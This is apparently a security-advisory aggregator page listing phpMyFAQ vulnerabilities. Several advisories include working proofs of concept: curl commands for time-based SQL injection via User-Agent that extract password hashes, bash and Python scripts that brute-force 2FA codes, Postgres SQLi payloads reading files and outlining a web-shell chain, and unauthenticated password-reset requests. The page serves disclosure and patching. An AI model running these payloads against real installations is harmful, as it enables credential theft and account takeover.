Where
-Infinity
0
Severity
9.8
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary phpMyFAQ does not enforce uniqueness of email addresses during user registration. This allows multiple distinct accounts to be created with the same email. Because email is often used as an identifier for password resets, notifications, and administrative actions, this flaw can cause account ambiguity and, in certain configurations, may lead to privilege escalation or account takeover.

Details An account management logic flaw in phpMyFAQ allows attackers to register multiple accounts under the same email address. If email is used for password reset or administrative flows, this may result in account takeover, loss of accountability, and abuse of business logic. PoC

1.Register a user with email test@example.com 2.Register another user with the same email. 3.Both accounts appear in /admin/?action=user&useraction=listallusers. <img width="1150" height="628" alt="image" src="https://github.com/user-attachments/assets/8c19f01a-e897-4ca7-b3f8-fcf83e6ff952" />

Impact

-Data integrity loss: Multiple accounts mapped to one email break auditability. -Password reset ambiguity: If reset flow relies on email only, attackers can target or take over accounts. -Privilege escalation: If one account with the same email has admin privileges, an attacker controlling the email may escalate. -Spam / DoS: Attackers can mass-register accounts with a single email to pollute the system.

This is a business logic / authentication vulnerability. Impacted users are anyone relying on phpMyFAQ’s account system where email is assumed to be unique.

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
Malicious File Upload
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

phpMyFAQ allows unrestricted file types in image field

1 / 3
Source: Packagist
First published (updated )
Severity
9.8
EPSS
0.09%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Improper Neutralization of Formula Elements in a CSV File in GitHub repository thorsten/phpmyfaq prior to 3.1.16.

1 / 2
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ contains Weak Password Requirements

1 / 3
Source: Packagist
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Improper Authentication in GitHub repository thorsten/phpmyfaq prior to 3.1.10.

1 / 2
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ has Weak Password Requirements

1 / 3
Source: Packagist
First published (updated )
Severity
9.8
Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Code Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11.

1 / 2
First published (updated )
Severity
9.8
Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Command Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11.

1 / 2
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Authentication Bypass by Capture-replay in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

1 / 3
Source: MITRE
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ has weak password requirements

1 / 3
Source: Packagist
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Improper Access Control in GitHub repository thorsten/phpmyfaq prior to 3.1.13.

1 / 3
First published (updated )
Severity
9.8
EPSS
0.09%
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

Insufficient Session Expiration in GitHub repository thorsten/phpmyfaq prior to 3.2.2.

1 / 2
First published (updated )
Severity
9.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

phpMyFAQ before v4.1.6 contains a remote code execution vulnerability in the configuration API that allows authenticated administrators with CONFIGURATIONEDIT and ATTACHMENTADD privileges to write arbitrary PHP files by manipulating the upgrade.lastDownloadedPackage setting. Attackers can upload a malicious ZIP file as an attachment, point the updater configuration to its stored path, and extract it into the application root to achieve code execution as the web server user.

First published (updated )
Severity
9.3
SQL Injection, CSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() at phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298 and :330 interpolate the User-Agent header and client IP address into DELETE and INSERT queries with sprintf and no escaping. Both methods run on every hit to the public GET /api/captcha endpoint, which requires no authentication. An unauthenticated attacker sets the User-Agent header to a crafted SQL payload and runs SLEEP(), BENCHMARK(), or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at b9f25109): baseline request 147 ms, request with User-Agent: x' OR SLEEP(2) OR 'x 4.09 s (two SLEEP(2) calls, one per vulnerable sink).

Details

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112 populates two private fields from untrusted HTTP input at construction time:

php $this->userAgent = $request->headers->get('user-agent'); $this->ip = $request->getClientIp();

Both fields are then dropped into sprintf() SQL templates without ever touching Database::escape() or a prepared statement.

garbageCollector() at line 298 (called on every captcha request via getCaptchaImage()):

php $delete = sprintf( " DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped ); $this->configuration->getDb()->query($delete);

saveCaptcha() at line 330 does the same for INSERT:

php $insert = sprintf( "INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captchatime) VALUES ('%s', '%s', '%s', '%s', %d)", Database::getTablePrefix(), $this->code, $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped $this->timestamp, ); $this->configuration->getDb()->query($insert);

For comparison, the same file's checkCaptchaCode() at line 472 passes user input through $db->escape() before interpolation. The BuiltinCaptcha author knew about escape(); the two sinks above skip it.

Reachability

phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39 exposes the vulnerable flow as an unauthenticated GET:

php #[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])] public function renderImage(): Response { if (!$this->captcha instanceof BuiltinCaptcha) { return new Response('', Response::HTTPNOTFOUND); } // ... $response->setContent($this->captcha->getCaptchaImage()); return $response; }

getCaptchaImage() calls saveCaptcha() and garbageCollector() unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting GET /api/captcha injects into two queries at once.

Impact surface

MySQL's query() method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with SLEEP() or BENCHMARK() still works, and the attacker can:

- Read any row the web user has access to through bit-by-bit IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0) chains. The faquser table holds authsource, login, and bcrypt password hashes for every registered user; faqconfig holds the main.phpMyFAQToken admin token and SMTP credentials. - UPDATE / DELETE arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, User-Agent: ' OR 1=1 -- deletes the entire faqcaptcha table and locks out legitimate users).

Proof of Concept

Tested against phpMyFAQ 4.2.0-alpha at master b9f25109fddb38eee19987183798638d07943f92, default install (MariaDB 10.6, Apache, PHP 8.4) on http://target:8090.

Step 1: Baseline request with a clean User-Agent:

bash time curl -sS -o /dev/null -w "HTTP %{httpcode} %{timetotal}s\n" \ -A "Mozilla/5.0" \ "http://target:8090/api/captcha?nocache=1" HTTP 500 0.147s

Step 2: Injection with SLEEP(2) in the User-Agent:

bash time curl -sS -o /dev/null -w "HTTP %{httpcode} %{timetotal}s\n" \ -A "x' OR SLEEP(2) OR 'x" \ "http://target:8090/api/captcha?nocache=2" HTTP 500 4.093s

The 4.09 s response time equals two SLEEP(2) executions, confirming the payload reached both the DELETE in garbageCollector() and the INSERT in saveCaptcha().

Step 3: Single-bit boolean extraction using time:

bash leaks first character of the admin hash; 2s = 'a', 0s = otherwise curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \ "http://target:8090/api/captcha?nocache=3"

Iterating position and character enables full credential exfiltration without any authentication.

Impact

Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in faqconfig, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of /api/captcha.

Recommended Fix

Route both fields through Database::escape() before interpolation, or replace the sprintf + query() pattern with a prepared statement.

phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325:

php $db = $this->configuration->getDb(); $userAgent = $db->escape($this->userAgent); $language = $db->escape($this->configuration->getLanguage()->getLanguage()); $ip = $db->escape($this->ip);

$delete = sprintf( "DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $userAgent, $language, $ip, ); $db->query($delete);

Apply the same change to saveCaptcha() at line 330 and to every other sprintf-into-SQL path in the file. A targeted audit for sprintf.SQL|sprintf.SELECT|sprintf.INSERT|sprintf.UPDATE|sprintf.DELETE across src/phpMyFAQ/ will surface the rest.

--- Found by aisafe.io

1 / 3
Source: GitHub
First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

php final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }

$token = Filter::filterVar($request->request->get(key: 'token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);

$user = $this->currentUserService; $user->getUserById($userId);

if (strlen((string) $token) === 6) { $tfa = $this->twoFactor; $result = $tfa->validateToken($token, $userId);

if ($result) { $user->twoFactorSuccess(); $this->adminLog->log($user, AdminLogType::AUTH2FASUCCESS->value . ':' . $user->getLogin()); return new RedirectResponse(url: './'); }

$this->adminLog->log($user, AdminLogType::AUTH2FAFAILED->value . ':' . $user->getLogin()); }

return new RedirectResponse('./token?user-id=' . $userId); }

Problems:

1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user. 2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock. 3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

bash Step 1: Identify target user ID (admin is typically userid=1) TARGETHOST="http://target.example" USERID=1

Step 2: Brute-force the 6-digit TOTP code TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window. At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do RESPONSE=$(curl -s -o /dev/null -w "%{httpcode}:%{redirecturl}" \ -X POST "${TARGETHOST}/admin/check" \ -d "token=${code}&user-id=${USERID}")

# A successful 2FA grants a session and redirects to ./ # A failure redirects to ./token?user-id=1 if echo "$RESPONSE" | grep -qv "token?user-id="; then echo "[+] Valid TOTP: ${code}" break fi done

python Faster parallel version import requests from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check" USERID = 1

def trycode(code): r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USERID}, allowredirects=False) location = r.headers.get("Location", "") if "token?user-id=" not in location: return code return None

with ThreadPoolExecutor(maxworkers=50) as pool: for result in pool.map(trycode, range(1000000)): if result is not None: print(f"[+] Valid TOTP: {result:06d}") break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

php #[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTERVALIDATEINT);

// Require that the session proves password auth for this specific user if ($this->session->get('2fapendinguserid') !== $userId) { return new RedirectResponse(url: './login'); }

// ... existing TOTP validation ... }

And in authenticate(), after successful password check:

php $this->session->set('2fapendinguserid', $this->currentUser->getUserId());

--- Found by aisafe.io

1 / 3
Source: GitHub
First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or challenge validation. Attackers can stage a victim username, submit a forged fmt=none attestation to register a passkey, then log in bypassing passwords and TOTP for account takeover.

First published (updated )
Severity
9.2
SQL Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

phpMyFAQ before 4.1.9 contains an SQL injection vulnerability in PdoMysql::escape(), which escapes single quotes with backslashes that are treated literally when MySQL or MariaDB runs in NOBACKSLASHESCAPES mode. Unauthenticated attackers can send a Unicode right single quotation mark in the search parameter of api/autocomplete, which is normalized to an ASCII quote, to read credentials and configuration secrets, modify records, or drop tables.

First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

phpMyFAQ before 4.1.7 contains a brute-force vulnerability in the two-factor authentication step where the failure counter is session-scoped and reset on each successful password re-authentication. Attackers with a valid password can bypass the five-attempt limit by obtaining a fresh session cookie and repeatedly re-authenticating to reset the counter, enabling unbounded TOTP code guessing.

First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

phpMyFAQ before 4.1.7 fails to persist the WebAuthn login challenge generated by prepareForLogin, because neither WebAuthn controller saves the mutated key objects back to the database. At login the anti-replay comparison is skipped by its own null guard, allowing an attacker who captures a successful WebAuthn assertion to replay it indefinitely and authenticate as the user without any interaction or hardware key.

First published (updated )
Severity
8.9
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

1 / 3
First published (updated )
Severity
8.8
EPSS
0.04%
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary A SQL injection vulnerability has been discovered in the the "Add News" functionality due to improper escaping of the email address. This allows any authenticated user with the rights to add/edit FAQ news to exploit this vulnerability to exfiltrate data, take over accounts and in some cases, even achieve RCE.

Details The vulnerable field lies in the authorEmail field which uses PHP's FILTERVALIDATEEMAIL filter. This filter is insufficient in protecting against SQL injection attacks and should still be properly escaped. However, in this version of phpMyFAQ (3.2.5), this field is not escaped properly can be used together with other fields to fully exploit the SQL injection vulnerability.

PoCs 4 PoCs are demonstrated here to illustrate the potential impacts.

PoC 1 - Postgres Time Based SQLi 1. Login as admin or any user with the rights to view and save news. 2. Navigate to "../phpmyfaq/admin/?action=news", click on "Add news", fill in some data, send and intercept the request. 3. Modify the intercepted "/admin/?action=save-news" request to look like the SS below: 3.1 - Set the "authorEmail" field in the body to "test'/@email.com". 3.2 - Set the "linkTitle" field in the body to "/,1,1,1,1,1,1,1);select+pgsleep(5)--". 3.3 - Set the rest of the fields as empty and send the request. 4. Notice the 5s delay in the response time, indicating that the sleep function was executed, verifying the existence of the SQLi vulnerability. !image

PoC 2 - SQLi to Read Data from PostgresDB 1. Steps 1 and 2 are the same as PoC 1. 2. Modify the intercepted "/admin/?action=save-news" request to look like the SS below and send the request: 2.1 - Set the "authorEmail" field in the body to "test'/@email.com". 2.2 - Set the "linkTitle" field in the body to "/,1,1,1,1,1,1,1);SELECT+rememberme+FROM+faquser+limit+1+offset+1%3b--". !image (1)

PoC 3 - SQLi to Read Files from PostgresDB 1. Steps 1 and 2 are the same as PoC 1. 2. Modify the intercepted "/admin/?action=save-news" request to look like the SS below and send the request: 2.1 - Set the "authorEmail" field in the body to "test'/@email.com". 2.2 - Set the "linkTitle" field in the body to "/,1,1,1,1,1,(select+pgreadfile(CONCAT(CHR(67),CHR(58),CHR(92),CHR(87),CHR(105),CHR(110),CHR(100),CHR(111),CHR(119),CHR(115),CHR(92),CHR(119),CHR(105),CHR(110),CHR(46),CHR(105),CHR(110),CHR(105)))),1)--". (the CONCAT() and CHR() functions are used to bypass the escaping of single quotes, these characters in its decoded form is "select pgreadfile('C:\Windows\win.ini')") !image (2)

PoC 4 - SQLi to Shell It is also possible to obtain a shell if superuser is enabled on the postgres DB. These are the high level steps of the exploit chain:

1. Create a table called "cmdexec" to store the payload. 2. Create a function in postgres to store the command to write a web shell to the "../htdocs" directory. (This step is required as CONCAT() function cannot be used to bypass the step where; "COPY cmdexec FROM PROGRAM '<command>' " is run as it requires single quotes.) 3. Trigger the function to write the PHP web shell at "http://<URL>/shell.php" that takes in commands via the "?cmd=" parameter. 4. Send the Python reverse shell command via a GET request to launch the reverse shell.

The video demo and the Python PoC script can be accessed from this link: https://drive.google.com/drive/folders/1BFL8GHIBxSUxu0TneYf66KjFA0A4RZga?usp=sharing

Impact The SQL injection vulnerability discovered in the "Add News" functionality of the application allows authenticated users with appropriate privileges to execute malicious SQL queries, potentially leading to data exfiltration, account takeover, and even remote code execution. Attackers can exploit the vulnerability to read sensitive data from the database, such as user credentials and system files, compromising the confidentiality and integrity of the system. Moreover, successful exploitation may enable attackers to gain unauthorized access to user accounts or execute arbitrary commands on the server, impacting both system administrators and end users.

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary A SQL injection vulnerability has been discovered in the insertentry & saveentry when modifying records due to improper escaping of the email address. This allows any authenticated user with the rights to add/edit FAQ news to exploit this vulnerability to exfiltrate data, take over accounts and in some cases, even achieve RCE.

PoC 1 - SQL Injection at insertentry: 1. Browse to “/admin/?action=editentry”, edit record and save. Intercept the POST request to "/admin/?action=insertentry" and modify the email and notes parameters in the body to the payloads below: a. email=test'/@email.com b. notes=/,1,1,1,1,null,1);select+pgsleep(5)--

2. Send the request and notice the pgsleep(5) command is executed with a time delay of 5 seconds in the response. This verifies that the SQL injection vulnerability exists. !image

PoC 2 - SQL Injection at saveentry 1. Browse to “/admin/?action=editentry”, edit record and save. Intercept the POST request to "/admin/?action=saveentry" and modify the email and notes parameters in the body to the payloads below: a. email=test'/@email.com b. /,notes=(select+pgsleep(5))-- 2. Send the request and notice the pgsleep(5) command is executed with a time delay of 5 seconds in the response. This verifies that the SQL injection vulnerability exists. !image

Impact The SQL injection vulnerability discovered allows authenticated users with appropriate privileges to execute malicious SQL queries, potentially leading to data exfiltration, account takeover, and even remote code execution. Attackers can exploit the vulnerability to read sensitive data from the database, such as user credentials and system files, compromising the confidentiality and integrity of the system. Moreover, successful exploitation may enable attackers to gain unauthorized access to user accounts or execute arbitrary commands on the server, impacting both system administrators and end users.

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.

Details File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php Lines: 56-130 The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body: #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])] php public function updatePassword(Request $request): JsonResponse { $data = jsondecode($request->getContent()); $username = trim((string) Filter::filterVar($data->username, FILTERSANITIZESPECIALCHARS)); $email = trim((string) Filter::filterEmail($data->email)); if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) { $user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration); $loginExist = $user->getUserByLogin($username); if ($loginExist && $email === $user->getUserData('email')) { // NO TOKEN CHECK // NO RATE LIMITING // NO EMAIL VERIFICATION $newPassword = $user->createPassword(); $user->changePassword($newPassword); $mail->send(); // New password sent in plaintext } } }

Root Causes: 1. No time-limited cryptographic token required for password reset 2. No rate limiting on the endpoint (allows unlimited username/email enumeration) 3. No verification email sent to original address before reset 4. New password sent in plaintext email without any confirmation step

PoC Prerequisites: None (unauthenticated attack) Step 1 - Username/Email Enumeration (no rate limiting): Test with wrong email - reveals if user exists bash curl -X PUT -H "Content-Type: application/json" \ -d '{"username":"admin","email":"wrong@test.com"}' \ http://target/phpmyfaq/api/user/password/update Response: {"error":"The email doesn't exist..."} <- user exists but wrong email

OR

Response: {"error":"The user doesn't exist"} <- user doesn't exist

Step 2 - Password Reset (no token required): bash curl -X PUT -H "Content-Type: application/json" \ -d '{"username":"admin","email":"admin@target.com"}' \ http://target/phpmyfaq/api/user/password/update

Response: {"success":"Email has been sent."} The new plaintext password is sent to admin@target.com

Step 3 - Account Takeover: Attacker now has valid credentials and can log in as SuperAdmin.

Impact Aspect Details Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640) Attack Vector Network (unauthenticated HTTP request) Privileges Required None User Interaction None Scope Full administrative access to phpMyFAQ Confidentiality High - attacker gains full access to all user data and FAQ content Integrity High - attacker can modify all content and settings Availability High - attacker can lock out legitimate users Who is Impacted: - All phpMyFAQ administrators using default installations - Any organization using phpMyFAQ for internal knowledge bases - End users whose accounts could be compromised - Organizations relying on phpMyFAQ for customer support FAQs Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The password reset API can be triggered without authentication and without any out-of-band confirmation step.

If an attacker knows a valid username + email pair, they can call the reset endpoint directly. The application immediately generates a new password, writes it to the account, and only then sends the new password by email.

This creates two issues at the same time:

- account enumeration through the response difference between valid and invalid pairs - forced password reset of another user's account, which invalidates the old password immediately

In my local reproduction, I confirmed both the response difference and the password change itself.

Details

The relevant code is in phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php.

The route is exposed without authentication:

php #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])] public function updatePassword(Request $request): JsonResponse

The flow is straightforward:

php $loginExist = $user->getUserByLogin($username);

if ($loginExist && $email === $user->getUserData('email')) { $newPassword = $user->createPassword(); $user->changePassword($newPassword); $mail->send(); return $this->json(['success' => Translation::get(key: 'lostpwdmailokay')], Response::HTTPOK); }

return $this->json(['error' => Translation::get(key: 'lostpwderr1')], Response::HTTPCONFLICT);

The core issue is that the password is changed immediately after a simple username and email match. There is no reset token, no confirmation link, no second step, and no requirement that the caller prove control of the mailbox before the password is replaced.

That means the endpoint is not just a "forgot password email sender". It is an actual unauthenticated password change trigger.

PoC

This was reproduced against a local Docker deployment of the project.

For a valid username and email pair:

http PUT /api/index.php/user/password/update HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json

{"username":"user1","email":"user1@example.com"}

Response:

http HTTP/1.0 200 OK Content-Type: application/json

{"success":"Email has been sent."}

For an invalid pair:

http PUT /api/index.php/user/password/update HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json

{"username":"user1","email":"wrong@example.com"}

Response:

http HTTP/1.0 409 Conflict Content-Type: application/json

{"error":"Error: Username and email address not found."}

That already confirms enumeration.

To verify that the password really changes, created a test account:

- username: user2 - password: Oldpass123! - email: user2@example.com

Before calling the endpoint, the password hash stored in faquserlogin was:

text 481bf096fd16e68ebbb8b98368bc0b5c17631a00f01a36dbb4a8dade0f0b8125

Then send:

http PUT /api/index.php/user/password/update HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json

{"username":"user2","email":"user2@example.com"}

The response was:

http HTTP/1.0 200 OK Content-Type: application/json

{"success":"Email has been sent."}

After that, the stored hash changed to:

text 3497f20c251da705f673dcac500fbf9e2e2e495719a7e2df9be08db42bf1286f

Then try to log in with the old password:

http POST /authenticate HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded

faqusername=user2&faqpassword=Oldpass123!

The application redirected back to the login page and reported that the password was incorrect.

So this is not just a cosmetic issue in the API response. The old credential really becomes invalid.

Impact

The most realistic impact here is forced password reset and account disruption.

An attacker who knows or can guess a valid username and email pair can:

- confirm whether the pair is valid - force the target account's password to change - cause the victim's old password to stop working immediately

If the attacker does not control the victim's mailbox, this is usually a denial-of-service style account disruption rather than instant account takeover. That is the main reason I would keep the severity at Medium.

Even so, this is still a real security issue. Password recovery should not allow an unauthenticated caller to change the account password directly.

Remediation

Recommend to change the password recovery flow to a token-based design.

1. Do not change the password inside the unauthenticated endpoint. 2. Generate a short-lived, single-use reset token and send only the reset link by email. 3. Return the same generic response for both valid and invalid username/email pairs. 4. Keep rate limiting in place, but do not rely on it as the main protection. 5. Add regression tests that verify the password hash does not change until a valid reset token is presented.

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

phpMyFAQ versions 3.1.0 through 4.1.6 contain an authentication bypass vulnerability in AuthLdap::create(). When LDAP authentication is enabled, after a successful LDAP bind the code calls User::setStatus('active') unconditionally, which overwrites the accountstatus column of a pre-existing local account from 'blocked' to 'active'. As a result, a user whose local phpMyFAQ account has been administratively blocked can restore their account and log in by authenticating via LDAP. The state transition is not logged, so administrators cannot detect that the block was overridden. Fixed in 4.1.7.

First published (updated )
Severity
8.8
CSRF
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

In phpMyFAQ before 2.9.9, there is Cross-Site Request Forgery (CSRF) in admin/stat.adminlog.php.

First published (updated )
Severity
8.8
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

phpMyFAQ before 2.9.11 allows CSRF.

1 / 2
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Uncaught Exception in GitHub repository thorsten/phpmyfaq prior to 3.1.11.

1 / 2
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Weak Password Requirements in GitHub repository thorsten/phpmyfaq prior to 3.1.11.

1 / 2
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Improper Privilege Management in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

1 / 3
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203